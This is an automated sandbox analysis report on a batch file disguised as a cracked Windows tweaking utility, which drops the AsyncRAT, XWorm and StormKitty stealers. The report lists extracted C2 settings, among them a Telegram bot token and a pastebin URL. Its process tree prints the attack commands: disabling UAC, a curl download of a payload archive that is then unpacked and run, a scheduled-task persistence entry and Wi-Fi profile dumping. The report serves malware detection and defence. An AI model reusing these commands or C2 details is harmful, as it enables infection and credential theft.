asyncrat | 16431cc14917abeb316e0bc44045440a8f86b7ac4fdd0dce99de6435d493ecca

Analysis

max time kernel
150s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
06-12-2024 21:22

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General

Target

EXM_Premium_Tweaking_Utility_1.0_Cracked.bat
Size

672KB
MD5

f9ca73d63fe61c4c401528fb470ce08e
SHA1

584f69b507ddf33985673ee612e6099aff760fb1
SHA256

16431cc14917abeb316e0bc44045440a8f86b7ac4fdd0dce99de6435d493ecca
SHA512

6fd03320ec84baf09a16a127c2c0ed3c265906fcb1a3b807c13001e775c396b66539238392438a8f290be04b8b8684050736331f8f99dbe8b868b44f154dd9de
SSDEEP

3072:BIGzQbmbkAqA2xH7VkKEn14IZVvisLur+K3:BIGiVNEn14IZVvisL43

Score

10^/10

asyncrat stormkitty xworm default discovery evasion execution persistence privilege_escalation rat spyware stealer trojan

Malware Config

Extracted

Family

xworm

Attributes

Install_directory
%LocalAppData%
install_file
USB.exe
pastebin_url
https://pastebin.com/raw/ZnhxAV6a
telegram
https://api.telegram.org/bot7538644364:AAHEMV7mmxz6PSRgzo0ORf3_n0BaazmrAqk/sendMessage?chat_id=7541917888

Extracted

Family

asyncrat

Botnet

Default

127.0.0.1:6606

127.0.0.1:7707

127.0.0.1:8808

https://api.telegram.org/bot7538644364:AAHEMV7mmxz6PSRgzo0ORf3_n0BaazmrAqk/sendMessage?chat_id=7541917888

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral1/files/0x001c00000002abaa-76.dat	family_xworm
behavioral1/memory/232-129-0x0000000000AE0000-0x0000000000B0A000-memory.dmp	family_xworm

StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 2 IoCs

resource	yara_rule
behavioral1/files/0x001900000002abab-104.dat	family_stormkitty
behavioral1/memory/2196-131-0x0000000000A20000-0x0000000000A5E000-memory.dmp	family_stormkitty

Stormkitty family
stormkitty

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/files/0x001900000002abab-104.dat	family_asyncrat

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msedge.lnk	msedge.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msedge.lnk	msedge.exe

Executes dropped EXE 5 IoCs

pid	Process
6052	EXMservice.exe
232	msedge.exe
2196	svchost.exe
5516	msedge.exe
3960	msedge.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Drops desktop.ini file(s) 7 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\a84cd3771a4c2cef79bee8fea4a1935d\Admin@AOYVSZIO_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\Saved Pictures\desktop.ini	svchost.exe
File created	C:\Users\Admin\AppData\Local\a84cd3771a4c2cef79bee8fea4a1935d\Admin@AOYVSZIO_en-US\Grabber\DRIVE-C\Users\Admin\Desktop\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Local\a84cd3771a4c2cef79bee8fea4a1935d\Admin@AOYVSZIO_en-US\Grabber\DRIVE-C\Users\Admin\Desktop\desktop.ini	svchost.exe
File created	C:\Users\Admin\AppData\Local\a84cd3771a4c2cef79bee8fea4a1935d\Admin@AOYVSZIO_en-US\Grabber\DRIVE-C\Users\Admin\Downloads\desktop.ini	svchost.exe
File created	C:\Users\Admin\AppData\Local\a84cd3771a4c2cef79bee8fea4a1935d\Admin@AOYVSZIO_en-US\Grabber\DRIVE-C\Users\Admin\Documents\desktop.ini	svchost.exe
File created	C:\Users\Admin\AppData\Local\a84cd3771a4c2cef79bee8fea4a1935d\Admin@AOYVSZIO_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\desktop.ini	svchost.exe
File created	C:\Users\Admin\AppData\Local\a84cd3771a4c2cef79bee8fea4a1935d\Admin@AOYVSZIO_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\Camera Roll\desktop.ini	svchost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
1	pastebin.com
7	pastebin.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
9	icanhazip.com

Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
6120	powershell.exe
4808	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
4920	cmd.exe
2320	netsh.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	svchost.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3316	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
232	msedge.exe

Suspicious behavior: EnumeratesProcesses 26 IoCs

pid	Process
6120	powershell.exe
6120	powershell.exe
4808	powershell.exe
4808	powershell.exe
2196	svchost.exe
2196	svchost.exe
2196	svchost.exe
2196	svchost.exe
2196	svchost.exe
2196	svchost.exe
2196	svchost.exe
2196	svchost.exe
2196	svchost.exe
2196	svchost.exe
2196	svchost.exe
2196	svchost.exe
2196	svchost.exe
2196	svchost.exe
2196	svchost.exe
2196	svchost.exe
232	msedge.exe
2196	svchost.exe
2196	svchost.exe
2196	svchost.exe
2196	svchost.exe
2196	svchost.exe

Suspicious use of AdjustPrivilegeToken 49 IoCs

description	pid	Process
Token: SeDebugPrivilege	6120	powershell.exe
Token: SeIncreaseQuotaPrivilege	1708	WMIC.exe
Token: SeSecurityPrivilege	1708	WMIC.exe
Token: SeTakeOwnershipPrivilege	1708	WMIC.exe
Token: SeLoadDriverPrivilege	1708	WMIC.exe
Token: SeSystemProfilePrivilege	1708	WMIC.exe
Token: SeSystemtimePrivilege	1708	WMIC.exe
Token: SeProfSingleProcessPrivilege	1708	WMIC.exe
Token: SeIncBasePriorityPrivilege	1708	WMIC.exe
Token: SeCreatePagefilePrivilege	1708	WMIC.exe
Token: SeBackupPrivilege	1708	WMIC.exe
Token: SeRestorePrivilege	1708	WMIC.exe
Token: SeShutdownPrivilege	1708	WMIC.exe
Token: SeDebugPrivilege	1708	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1708	WMIC.exe
Token: SeRemoteShutdownPrivilege	1708	WMIC.exe
Token: SeUndockPrivilege	1708	WMIC.exe
Token: SeManageVolumePrivilege	1708	WMIC.exe
Token: 33	1708	WMIC.exe
Token: 34	1708	WMIC.exe
Token: 35	1708	WMIC.exe
Token: 36	1708	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1708	WMIC.exe
Token: SeSecurityPrivilege	1708	WMIC.exe
Token: SeTakeOwnershipPrivilege	1708	WMIC.exe
Token: SeLoadDriverPrivilege	1708	WMIC.exe
Token: SeSystemProfilePrivilege	1708	WMIC.exe
Token: SeSystemtimePrivilege	1708	WMIC.exe
Token: SeProfSingleProcessPrivilege	1708	WMIC.exe
Token: SeIncBasePriorityPrivilege	1708	WMIC.exe
Token: SeCreatePagefilePrivilege	1708	WMIC.exe
Token: SeBackupPrivilege	1708	WMIC.exe
Token: SeRestorePrivilege	1708	WMIC.exe
Token: SeShutdownPrivilege	1708	WMIC.exe
Token: SeDebugPrivilege	1708	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1708	WMIC.exe
Token: SeRemoteShutdownPrivilege	1708	WMIC.exe
Token: SeUndockPrivilege	1708	WMIC.exe
Token: SeManageVolumePrivilege	1708	WMIC.exe
Token: 33	1708	WMIC.exe
Token: 34	1708	WMIC.exe
Token: 35	1708	WMIC.exe
Token: 36	1708	WMIC.exe
Token: SeDebugPrivilege	4808	powershell.exe
Token: SeDebugPrivilege	232	msedge.exe
Token: SeDebugPrivilege	2196	svchost.exe
Token: SeDebugPrivilege	232	msedge.exe
Token: SeDebugPrivilege	5516	msedge.exe
Token: SeDebugPrivilege	3960	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
232	msedge.exe

Suspicious use of WriteProcessMemory 58 IoCs

description	pid	Process	procid_target
PID 5600 wrote to memory of 1440	5600	cmd.exe	79
PID 5600 wrote to memory of 1440	5600	cmd.exe	79
PID 5600 wrote to memory of 5752	5600	cmd.exe	80
PID 5600 wrote to memory of 5752	5600	cmd.exe	80
PID 5600 wrote to memory of 5616	5600	cmd.exe	81
PID 5600 wrote to memory of 5616	5600	cmd.exe	81
PID 5600 wrote to memory of 6120	5600	cmd.exe	82
PID 5600 wrote to memory of 6120	5600	cmd.exe	82
PID 5600 wrote to memory of 1252	5600	cmd.exe	85
PID 5600 wrote to memory of 1252	5600	cmd.exe	85
PID 5600 wrote to memory of 3032	5600	cmd.exe	86
PID 5600 wrote to memory of 3032	5600	cmd.exe	86
PID 5600 wrote to memory of 1420	5600	cmd.exe	87
PID 5600 wrote to memory of 1420	5600	cmd.exe	87
PID 1420 wrote to memory of 1708	1420	cmd.exe	88
PID 1420 wrote to memory of 1708	1420	cmd.exe	88
PID 1420 wrote to memory of 1532	1420	cmd.exe	89
PID 1420 wrote to memory of 1532	1420	cmd.exe	89
PID 5600 wrote to memory of 904	5600	cmd.exe	90
PID 5600 wrote to memory of 904	5600	cmd.exe	90
PID 5600 wrote to memory of 4780	5600	cmd.exe	91
PID 5600 wrote to memory of 4780	5600	cmd.exe	91
PID 5600 wrote to memory of 1796	5600	cmd.exe	92
PID 5600 wrote to memory of 1796	5600	cmd.exe	92
PID 5600 wrote to memory of 4808	5600	cmd.exe	93
PID 5600 wrote to memory of 4808	5600	cmd.exe	93
PID 5600 wrote to memory of 6052	5600	cmd.exe	94
PID 5600 wrote to memory of 6052	5600	cmd.exe	94
PID 6052 wrote to memory of 232	6052	EXMservice.exe	95
PID 6052 wrote to memory of 232	6052	EXMservice.exe	95
PID 6052 wrote to memory of 2196	6052	EXMservice.exe	96
PID 6052 wrote to memory of 2196	6052	EXMservice.exe	96
PID 6052 wrote to memory of 2196	6052	EXMservice.exe	96
PID 5600 wrote to memory of 3924	5600	cmd.exe	97
PID 5600 wrote to memory of 3924	5600	cmd.exe	97
PID 232 wrote to memory of 3316	232	msedge.exe	98
PID 232 wrote to memory of 3316	232	msedge.exe	98
PID 2196 wrote to memory of 4920	2196	svchost.exe	100
PID 2196 wrote to memory of 4920	2196	svchost.exe	100
PID 2196 wrote to memory of 4920	2196	svchost.exe	100
PID 4920 wrote to memory of 5336	4920	cmd.exe	102
PID 4920 wrote to memory of 5336	4920	cmd.exe	102
PID 4920 wrote to memory of 5336	4920	cmd.exe	102
PID 4920 wrote to memory of 2320	4920	cmd.exe	103
PID 4920 wrote to memory of 2320	4920	cmd.exe	103
PID 4920 wrote to memory of 2320	4920	cmd.exe	103
PID 4920 wrote to memory of 2068	4920	cmd.exe	104
PID 4920 wrote to memory of 2068	4920	cmd.exe	104
PID 4920 wrote to memory of 2068	4920	cmd.exe	104
PID 2196 wrote to memory of 5096	2196	svchost.exe	105
PID 2196 wrote to memory of 5096	2196	svchost.exe	105
PID 2196 wrote to memory of 5096	2196	svchost.exe	105
PID 5096 wrote to memory of 5988	5096	cmd.exe	107
PID 5096 wrote to memory of 5988	5096	cmd.exe	107
PID 5096 wrote to memory of 5988	5096	cmd.exe	107
PID 5096 wrote to memory of 5968	5096	cmd.exe	108
PID 5096 wrote to memory of 5968	5096	cmd.exe	108
PID 5096 wrote to memory of 5968	5096	cmd.exe	108

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\EXM_Premium_Tweaking_Utility_1.0_Cracked.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:5600
- C:\Windows\system32\reg.exe
  Reg.exe delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SystemRestore" /v "RPSessionInterval" /f
  2⤵
  PID:1440
- C:\Windows\system32\reg.exe
  Reg.exe delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SystemRestore" /v "DisableConfig" /f
  2⤵
  PID:5752
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "SystemRestorePointCreationFrequency" /t REG_DWORD /d 0 /f
  2⤵
  PID:5616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy Unrestricted -NoProfile Enable-ComputerRestore -Drive 'C:\'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6120
- C:\Windows\system32\reg.exe
  Reg.exe ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d "0" /f
  2⤵
  - UAC bypass
  PID:1252
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\CONSOLE" /v "VirtualTerminalLevel" /t REG_DWORD /d "1" /f
  2⤵
  PID:3032
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic path Win32_UserAccount where name="Admin" get sid | findstr "S-"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1420
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path Win32_UserAccount where name="Admin" get sid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1708
- - C:\Windows\system32\findstr.exe
    findstr "S-"
    3⤵
    PID:1532
- C:\Windows\system32\chcp.com
  chcp 65001
  2⤵
  PID:904
- C:\Windows\system32\chcp.com
  chcp 437
  2⤵
  PID:4780
- C:\Windows\system32\curl.exe
  curl -g -k -L -# -o "C:\Users\Admin\AppData\Local\Temp\exm.zip" "https://github.com/anonyketa/EXM-Tweaking-Utility-Premium/releases/download/V1.0/exm.zip"
  2⤵
  PID:1796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile Expand-Archive 'C:\Users\Admin\AppData\Local\Temp\exm.zip' -DestinationPath 'C:\Exm\'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4808
- C:\exm\EXMservice.exe
  EXMservice.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:6052
- - C:\Users\Admin\msedge.exe
    "C:\Users\Admin\msedge.exe"
    3⤵
    - Drops startup file
    - Executes dropped EXE
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:232
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "msedge" /tr "C:\Users\Admin\AppData\Local\msedge.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3316
- - C:\Users\Admin\svchost.exe
    "C:\Users\Admin\svchost.exe"
    3⤵
    - Executes dropped EXE
    - Drops desktop.ini file(s)
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2196
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
      4⤵
      System Location Discovery: System Language Discovery
      System Network Configuration Discovery: Wi-Fi Discovery
      Suspicious use of WriteProcessMemory
      PID:4920
    - - C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5336
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh wlan show profile
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:2320
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr All
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2068
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5096
    - - C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5988
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh wlan show networks mode=bssid
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        
        PID:5968
- C:\Windows\system32\chcp.com
  chcp 65001
  2⤵
  PID:3924

C:\Users\Admin\AppData\Local\msedge.exe
C:\Users\Admin\AppData\Local\msedge.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5516

C:\Users\Admin\AppData\Local\msedge.exe
C:\Users\Admin\AppData\Local\msedge.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3960

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\5178ca44211a55b8e1310cadb4d4c062\msgid.dat

Filesize
1B

MD5
cfcd208495d565ef66e7dff9f98764da

SHA1
b6589fc6ab0dc82cf12099d1c2d40ab994e8410c

SHA256
5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9

SHA512
31bca02094eb78126a517b206a88c73cfa9ec6f704c7030d18212cace820f025f00bf0ea68dbf3f3a5436ca63b53bf7bf80ad8d5de7d8359d0b7fed9dbc3ab99

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\msedge.exe.log

Filesize
654B

MD5
2cbbb74b7da1f720b48ed31085cbd5b8

SHA1
79caa9a3ea8abe1b9c4326c3633da64a5f724964

SHA256
e31b18f21621d9983bfdf1ea3e53884a9d58b8ffd79e0e5790da6f3a81a8b9d3

SHA512
ecf02d5240e0c1c005d3ab393aa7eff62bd498c2db5905157e2bf6d29e1b663228a9583950842629d1a4caef404c8941a0c7799b1a3bd1eb890a09fdb7efcff9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
88dc70c361a22feac57b031dd9c1f02f

SHA1
a9b4732260c2a323750022a73480f229ce25d46d

SHA256
43244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59

SHA512
19c0532741ebc9751390e6c5ca593a81493652f25c74c8cab29a8b5b1f1efef8d511254a04f50b0c4a20724bae10d96d52af7a76b0c85ddc5f020d4cac41100c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
3ca1082427d7b2cd417d7c0b7fd95e4e

SHA1
b0482ff5b58ffff4f5242d77330b064190f269d3

SHA256
31f15dc6986680b158468bf0b4a1c00982b07b2889f360befd8a466113940d8f

SHA512
bbcfd8ea1e815524fda500b187483539be4a8865939f24c6e713f0a3bd90b69b4367c36aa2b09886b2006b685f81f0a77eec23ab58b7e2fb75304b412deb6ca3

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rna0au1y.y4c.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\exm.zip

Filesize
13.3MB

MD5
57a6527690625bea4e4f668e7db6b2aa

SHA1
c5799fd94999d128203e81e22c6d9fdb86e167ee

SHA256
076e01b09f9c5cccc273b2f7dfa1a1efccc1a8e8ebf98a7eee756024b93bad17

SHA512
d86c7f79989eb0781e15f8631048506ffab338f933ddfedbcc2c7464447770beaf21b7ed3cba2ebb97be5ffdc9a450f2df2e2313efaeb8e8101f2ee53c066e4e

Download Submit
C:\Users\Admin\AppData\Local\a84cd3771a4c2cef79bee8fea4a1935d\Admin@AOYVSZIO_en-US\Browsers\Firefox\Bookmarks.txt

Filesize
105B

MD5
2e9d094dda5cdc3ce6519f75943a4ff4

SHA1
5d989b4ac8b699781681fe75ed9ef98191a5096c

SHA256
c84c98bbf5e0ef9c8d0708b5d60c5bb656b7d6be5135d7f7a8d25557e08cf142

SHA512
d1f7eed00959e902bdb2125b91721460d3ff99f3bdfc1f2a343d4f58e8d4e5e5a06c0c6cdc0379211c94510f7c00d7a8b34fa7d0ca0c3d54cbbe878f1e9812b7

Download Submit
C:\Users\Admin\AppData\Local\a84cd3771a4c2cef79bee8fea4a1935d\Admin@AOYVSZIO_en-US\System\Process.txt

Filesize
4KB

MD5
1c9e25b4f744cbe453fb84e287c9c1e5

SHA1
99b2360d8ffb94f6453761a75abbf5b3a17f16fc

SHA256
5107bd4385bc651ea4bb960185bdc76a503be94d71797ea8914178b5804493d3

SHA512
bbf0d379460e8146349097c9ac2ae27a22a5c1720af2cf61bf69010eb3a1eda054040d54d16cd9b15b65ca99854956935155993372201cb379da28eba80ae27f

Download Submit
C:\Users\Admin\msedge.exe

Filesize
146KB

MD5
f1c2525da4f545e783535c2875962c13

SHA1
92bf515741775fac22690efc0e400f6997eba735

SHA256
9e6985fdb3bfa539f3d6d6fca9aaf18356c28a00604c4f961562c34fa9f11d0f

SHA512
56308ac106caa84798925661406a25047df8d90e4b65b587b261010293587938fa922fbb2cfdedfe71139e16bfcf38e54bb31cbcc00cd244db15d756459b6133

Download Submit
C:\Users\Admin\svchost.exe

Filesize
226KB

MD5
1bea6c3f126cf5446f134d0926705cee

SHA1
02c49933d0c2cc068402a93578d4768745490d58

SHA256
1d69b5b87c4cd1251c5c94461a455659febb683eab0ebd97dd30da2319ffc638

SHA512
eb9f423f6adb5e686a53f5f197e6b08455f8048d965a9ec850838fdf4724ef87f68945c435ace5a48a9a7226006a348e97586335d0246ea0dc898a412dea5df3

Download Submit
C:\exm\EXMservice.exe

Filesize
12.0MB

MD5
aab9c36b98e2aeff996b3b38db070527

SHA1
4c2910e1e9b643f16269a2e59e3ada80fa70e5fa

SHA256
c148cc14f15b71a2d3f5e6bce6b706744f6b373a7e6c090c14f46f81d2d6e82f

SHA512
0db75756a041a7cda6b384718581aaf11e6873614465dd56e81f17ad171cffe380e288a3c2ee540222190392904921f26df8a1d66d4108051c60fc8e5b2df779

Download Submit
memory/232-129-0x0000000000AE0000-0x0000000000B0A000-memory.dmp

Filesize
168KB

Download
memory/2196-132-0x0000000005C00000-0x0000000005C66000-memory.dmp

Filesize
408KB

Download
memory/2196-281-0x0000000006550000-0x00000000065E2000-memory.dmp

Filesize
584KB

Download
memory/2196-131-0x0000000000A20000-0x0000000000A5E000-memory.dmp

Filesize
248KB

Download
memory/2196-286-0x0000000006960000-0x000000000696A000-memory.dmp

Filesize
40KB

Download
memory/2196-282-0x0000000006BA0000-0x0000000007146000-memory.dmp

Filesize
5.6MB

Download
memory/4808-28-0x0000021DF81C0000-0x0000021DF81CA000-memory.dmp

Filesize
40KB

Download
memory/4808-27-0x0000021DF81E0000-0x0000021DF81F2000-memory.dmp

Filesize
72KB

Download
memory/6052-70-0x00000000006E0000-0x0000000000746000-memory.dmp

Filesize
408KB

Download
memory/6120-15-0x00007FFFB4830000-0x00007FFFB52F2000-memory.dmp

Filesize
10.8MB

Download
memory/6120-11-0x00007FFFB4830000-0x00007FFFB52F2000-memory.dmp

Filesize
10.8MB

Download
memory/6120-12-0x00007FFFB4830000-0x00007FFFB52F2000-memory.dmp

Filesize
10.8MB

Download
memory/6120-0-0x00007FFFB4833000-0x00007FFFB4835000-memory.dmp

Filesize
8KB

Download
memory/6120-10-0x0000021D33720000-0x0000021D33742000-memory.dmp

Filesize
136KB

Download
memory/6120-6-0x00007FFFB4830000-0x00007FFFB52F2000-memory.dmp

Filesize
10.8MB

Download